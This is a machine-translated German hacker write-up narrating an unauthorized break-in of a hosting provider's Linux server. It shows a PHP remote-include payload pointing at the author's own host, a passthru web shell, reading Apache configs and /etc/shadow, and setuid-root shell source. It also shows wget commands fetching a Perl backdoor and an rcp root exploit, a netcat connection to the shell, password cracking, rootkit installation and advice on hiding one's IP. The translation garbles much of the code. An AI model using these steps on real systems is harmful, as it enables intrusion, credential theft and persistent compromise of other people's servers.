This page has been robot translated, sorry for typos if any. Original content here.

Root bei einem Hosting-Anbieter


Intro.
Ich habe mich entschlossen, diesen speziellen Hack zu beschreiben, da er vor einiger Zeit passiert ist (und zu diesem Zeitpunkt, am 23. Januar 03, der Server sozusagen noch in den Händen von DHG ist). Ich wurde auch gebeten, einen interessanten Hack zu beschreiben.
Ich möchte nicht, dass diese Geschichte ein Leitfaden für die Gräueltaten anderer Menschen ist, daher machen wir absichtlich einige Fehler / Ungenauigkeiten (die jedoch jeder fortgeschrittene Benutzer bemerken wird). Nun, auch um elementare Dinge zu kauen, wie "Linux-Teams auch an welchem ​​Ort, um zu suchen, wie man Splits kompiliert", werden wir nicht tun. Also lass uns gehen.

Runde 1: Fernbedienung.
Im Allgemeinen war das ursprüngliche Ziel das mexikanische Linux-Portal www. ***. Com, das einst von diesem Anbieter gehostet wurde.
Zunächst musste die Achse ermittelt werden, auf der dieses Portal steht. Obwohl der Stumpf klar ist, dass die Seite über Linux nicht unter Windows hängen kann. Auf http war: "Apache / 1.3.26 (Unix) (Red Hat / Linux) Chili! Soft-ASP / 3.6.2 PHP / 4.1.2", das FTP-Banner lautete:
ManagedHosting-FTP-Server (Version 6.5 / OpenBSD, Linux-Port 0.3.2) bereit.
Wir haben nicht damit begonnen, Ports, CGI-Bugs und auch keinen solchen Unsinn zu scannen - genauer gesagt, ich habe beschlossen, ihn auf später zu verschieben. Nun, ich wollte essno auch in keiner Weise behandeln. Im FTP-Banner blitzte also der Ausdruck "Hosting" auf! Nachdem wir auf ripnet getroffen hatten, entschieden wir uns, uns direkt an ip zu wenden, nämlich www. ***. Com. Er brachte mich auf die Seite "managehosting.dialtoneinternet.com.mx", die offensichtlich sein Hoster war. Später wurde eine kurze manuelle Bruteforce auf einer realen Hosting-Site berechnet: dialtoneinternet.com.mx (www.dialtone.com).
Aus diesem Grund haben wir uns entschlossen, vorerst anzuhalten und auch auf die Website zurückzukehren, um kaputt zu gehen. Er stand auf der phpWebSite PHP-Engine einer unbekannten Version. Dieser nächste Klon von php-nuke'a unterschied sich in keiner besonderen Betonung der Sicherheit. Alle Versionen von PWS bis 0.8.2 (sogar als stabil markiert) wiesen eine Sicherheitsanfälligkeit der Klasse "Php Source Injection" auf. Für diejenigen, die nichts sagen, lesen Sie den Artikel von r4ShRaY zu dieser Sicherheitsanfälligkeit. Den Rest lesen Sie weiter. Also, hier ist ein Ausschnitt aus der Datei modsecurity.php sors:

<? php
global $ inc_prefix;
if (! $ inc_prefix) {
...
}}
...
include_once ($ inc_prefix. "htmlheader.php");
?>

IMHO sollte hier allen alles klar sein. Durch Ausführen dieses Skripts auf ähnliche Weise:
http: //www.***.com/modsecurity.php? inc_prefix = http: //www.dhgroup.org
Die Datei htmlheader.php, die sich auf unserer Site befindet, wird mit bisher undefined_Rights ausgeführt. Das einzige, was mich störte, war, dass die angegriffene Site eine gepatchte oder eine neuere Version hatte (schließlich war dies keine Art von 'Vasyas Homepage', sondern ein Portal für kewl-Linux-userz).
Im Allgemeinen haben wir die Datei htmlheader.php auf unserer Website mit folgendem Inhalt erstellt:

<? Durchgang ("$ cmd")?>

Dann ging ich zur Adresse:
modsecurity.php? inc_prefix = http: //www.dhgroup.org&cmd=ls
Was wir bekommen haben www Verzeichnisliste. # Hinweis weiter werde ich alle Befehle ohne "...? inc_prefix = http: // ..." kritzeln!

Runde 2: lokal.
> echo hi> kewl.txt; Katze kewl.txt
Der Browser reagierte auf diese beiden Befehle mit einem leeren schneeweißen Bildschirm. Dies zeigte an, dass ich keine Schreibberechtigungen für das Verzeichnis www hatte. Das heißt, um die Verunstaltung so früh auszudrücken. Bevor weitere Maßnahmen ergriffen werden konnten, mussten weitere Informationen zum System gesammelt werden. Die Hauptbeschäftigung, die wir über die httpd.conf-Datei geklettert haben:
> cat /etc/httpd/conf/httpd.conf
Von dort haben wir die Front-End-Version herausgerissen (der 'Server'-http-Header hat übrigens nichts über die Verfügbarkeit von FrontPage gesagt) und auch den Weg zu den Website-WWW-Verzeichnissen: dialtoneinternet.com.mx (ein defekter Hosting-Anbieter), Stormarketing.com, altavistablinds.com, parigitown.com, na ja, auch auf ein paar große Ressourcen:
# -FrontPage- version = 4.0
##
## httpd.conf - Apache HTTP Server Konfigurationsdatei
##
...
<VirtualHost 66.33.62.88>
<Verzeichnis / home / admin / www / serversecure>
Optionen alle
AllowOverride All
</ Directory>
Servername dialtoneinternet.com.mx
ServerAlias ​​www.dialtoneinternet.com.mx
DocumentRoot / home / admin / www
ErrorLog-Protokolle / error_log
TransferLog-Protokolle / transfer_log
Gruppe niemand
ScriptAlias ​​/ cgi-bin / / home / admin / www / cgi-bin /
</ VirtualHost>
...
Natürlich gibt es nicht genug Rechte, um sie zu entschärfen, ABER sie reichen völlig aus, um die Front-End-Datei service.pwd (falls vorhanden) dieser Websites mit allen Konsequenzen anzuzeigen, die sich aus dieser Folge ergeben;) Wir haben diese Gelegenheit für dieses Abenteuer verlassen, wenn ich es getan habe In keiner Weise wird es möglich sein, ihre Privilegien zu erhöhen.
Aus Interesse haben wir außerdem Folgendes vorgestellt:
> netstat -a
Was ich erhalten habe (# - meine Tags):
  Aktive Internetverbindungen (Server und hergestellt)
 Proto Recv-Q Send-Q Lokale Adresse Fremdadressenstatus 
 tcp 0 1 66.33.62. *: 2114 by.ru:www LAST_ACK # (1)
 tcp 0 0 66.33.62. *: www 62.141.75.226 {116 ESTABLISHED 
 tcp 0 0 *: www *: * HÖREN 
 tcp 0 0 *: imap2 *: * HÖREN 
 tcp 0 0 *: pop3 *: * HÖREN 
 tcp 0 0 *: ftp *: * HÖREN 
 tcp 0 0 *: 81 *: * HÖREN 
 tcp 0 0 *: https *: * LISTEN # (2)
 tcp 0 0 managehosting.d: domain *: * LISTEN 
 tcp 0 0 managehosting2.:domain *: * LISTEN 
 tcp 0 0 spacebattles.net:domain *: * LISTEN 
 tcp 0 0 66.33.62. *: domain *: * LISTEN 
 tcp 0 0 localhost.locald: domain *: * LISTEN 
 tcp 0 0 *: smtp *: * HÖREN 
 tcp 0 0 *: mysql *: * HÖREN 
 tcp 0 0 *: casp3001 *: * HÖREN 
 tcp 0 0 *: casp3000 *: * HÖREN 
 tcp 0 0 *: casp5105 *: * HÖREN 
 tcp 0 0 *: casp5103 *: * HÖREN 
 tcp 0 0 *: casp5104 *: * HÖREN 
 tcp 0 0 *: 1581 *: * HÖREN 
 tcp 0 0 *: 1024 *: * HÖREN 
 tcp 0 0 *: ssh *: * LISTEN # (3)
 udp 0 0 *: 4320 *: * 
 udp 0 0 managehosting.d: domain *: * 
 udp 0 0 managehosting2.:domain *: * 
 udp 0 0 spacebattles.net:domain *: * 
 udp 0 0 66.33.62. *: domain *: * 
 udp 0 0 localhost.locald: domain *: * 
 raw 0 0 *: udp *: * 7 
 raw 0 0 *: tcp *: * 7 
 raw 0 0 *: icmp *: * 7 
 raw 0 0 *: tcp *: * 7 
 Aktive UNIX-Domänensockets (Server und eingerichtet)
 Proto RefCnt Flags Typ Status I-Knoten Pfad
 Unix 0 [ACC] STREAM LISTENING 552166 /home/httpsd/cache/ssl.socket
 Unix 0 [ACC] STREAM LISTENING 2087 /tmp/mysql.sock
 Unix 4 [] DGRAM 290 / dev / log
 Unix 0 [ACC] STREAM LISTENING 549144 / var / run / ndc
 Unix 0 [] STREAM 565939 
 Unix 0 [] DGRAM 555692 
 Unix 0 [] DGRAM 549142 
 Unix 0 [] DGRAM 3193 
 Unix 0 [] DGRAM 303 
(1) - das sind wir =)
(2) - Das Vorhandensein von ssl drückt normalerweise den Austausch privater Informationen mit dem Server aus (z. B. cc). Obwohl für das Hosting ist es in der Routine der Dinge.
(3) - hier ist er! Er wird später nützlich sein.
Auch hier mussten die Ports überhaupt nicht gescannt werden :) :)
Als nächstes war es notwendig, einige spezifische Aktionen zu starten, oder vielmehr, um zumindest fast die Version der Kappe herauszufinden und auf dieser Grundlage bereits weiter zu tanzen. Für diejenigen, die es nicht wissen, belassen einige (wenn nicht alle) Linux-Distributionen die Datei "* -release" (wobei * der Name der Distribution ist: mandrake-release, cobalt-release ...) im Verzeichnis / etc / Auch Administratoren haben nicht den Drang, es zu beseitigen.
> cat / etc / redhat-release:
Red Hat Linux Version 6.1 (Cartman)
Obaaaaaa, ich muss sagen, das haben wir nicht erwartet :) :) Alles andere war eine Frage der Technologie. Um die lang erwartete Wurzel zu erreichen, haben wir uns entschieden, die RedHat-Sicherheitslücke in rcp zu verwenden.

Red Hat 6.2: rcp mögliches Wurzelloch
Tatsächlich wurde die Sicherheitsanfälligkeit in Kappe 6.2 gefunden. Ungefähr 6.1 in einem Beitrag von Andrew Griffiths und Tlabs sagten kein Wort. In der Hoffnung auf viel Glück stellten wir vor:
> ls -alF `which rcp`
-rwsr-xr-x 1 root root 14868 30. Juli 1999 / usr / bin / rcp *
Ups! Sicher besitzt rcp ein Zimmer zu sein! Das ist schon gut :) :) Ich füllte mich mit "rcpsploit.pl" von tlabs plus, nachdem ich die Quelle studiert hatte, hörte ich auf. Ich werde vielleicht erklären, wie dieses Sploit funktioniert - vielleicht hilft Ihnen dies, die Essenz der Verwundbarkeit des Problems zu verstehen, das ebenfalls aufgetreten ist.
Es werden also 2 Dateien erstellt:
/tmp/shell.c---------------------

#include
#include
int main ()
{
setuid (0);
setgid (0);
execl ("/ bin / sh", "sh", 0);
return 0;
}}


hey ------------------------------
Sploit von tlabs geschrieben, danke an Andrew Griffiths für den Fehlerbericht

Dann fungiert die sploit-Kompilierungsshell.c über das erfolgreiche rcp auch als chmod wie dieses mit chmod. Das war's! Wir starten die kompilierte Shell und erhalten eine Shell mit uid = 0, gid = 0. Aber was nützt diese Shell, wenn wir Befehle über einen Webserver ausführen? : - /
Es war nur erlaubt, diesen Sploit zu zwingen, an einer "normalen" Shell zu arbeiten.
Benötigen Sie eine Muschel? Er wird! In meinem Warez-Archiv hat sich vor langer Zeit ein kleiner Perlgersten-Trojaner verstaubt, den wir auch verwenden wollten:
> wget -o = / tmp / .tmp.pl http://www.dhgroup.org/exp/backhole.pl
> chmod 755 /.tmp/tmp.pl
> perl /tmp/.tmp.pl
Weiter auf Ihrem Computer:
> nc ***. com 51015
Berühren:
> cd / tmp
> wget -c http://www.dhgroup.org/exp/rcpsploit.pl
> chmod 755 rcpsploit.pl; perl rcpsploit.pl
Ok, zu einfach, wir werden einfach eine Shell starten, lasst uns hoffen, dass die Scheiße gut gelaufen ist :) :)
> id
uid = 0 (root) gid = 0 (root) Gruppen = 0 (root), 1 (bin), 2 (daemon), 3 (sys), 4 (adm), 6 (disk), 10 (rad)
Das ist alles :) :) Na ja, auch das letzte:
> cat / etc / shadow
root: ###: 11961: 0: 99999: 7: -1: -1: 134549964
bin: *: 10925: 0: 99999: 7 :::
Daemon: *: 10925: 0: 99999: 7 :::
adm: ###: 11577: 0: 99999: 7: -1: -1: 134549852
... etc ...
JTR zählte 977 Passwörter%) Um die Suche zu beschleunigen, haben wir Folgendes eingeführt:
John -i: alle -u: Wurzelschatten
Ungefähr 8 Stunden und ... der lang erwartete Moment:




Dann habe ich dort lrk hochgeladen, mehrere Datenpipes und bnc auch ... obwohl dies eine ganz andere Geschichte ist ....

Was wurde beim Hacken verwendet:
Netscape v.xz
SecureCRT 3.1
Netcat
John der Ripper
backhole.pl
rcpsploit.pl
Gehirne
PacketStormSecurity

Schlussfolgerungen \ Bemerkungen \ Kommentare:
1. Wenn sich dieser oder jener Server als Hosting-Anbieter oder Linux-Portal bezeichnet, bedeutet dies nicht, dass er gut geschützt ist.
2. Während des Hacking-Prozesses sollten Sie Ihre IP-Adresse nicht besonders deklarieren (dies wird in Zukunft ein Artikel sein).
3. Beim Hacken wurde fast nie die sogenannte "Hacker" -Software verwendet.
4. RH6. * - kein Summen essen :) :)

PS IMHO, der Leser könnte den Eindruck bekommen, dass ich einfach Glück hatte und der allgemeine Hack ein paar Minuten dauerte. Dies ist nicht der Fall. Es gab Momente, in denen die Hände einfach fielen und ich meinen Kopf gegen die Wand kämpfen wollte.

Gepostet von: D4rkGr3y


Material mit Genehmigung der DHGROUP veröffentlicht (http://www.dhgroup.org)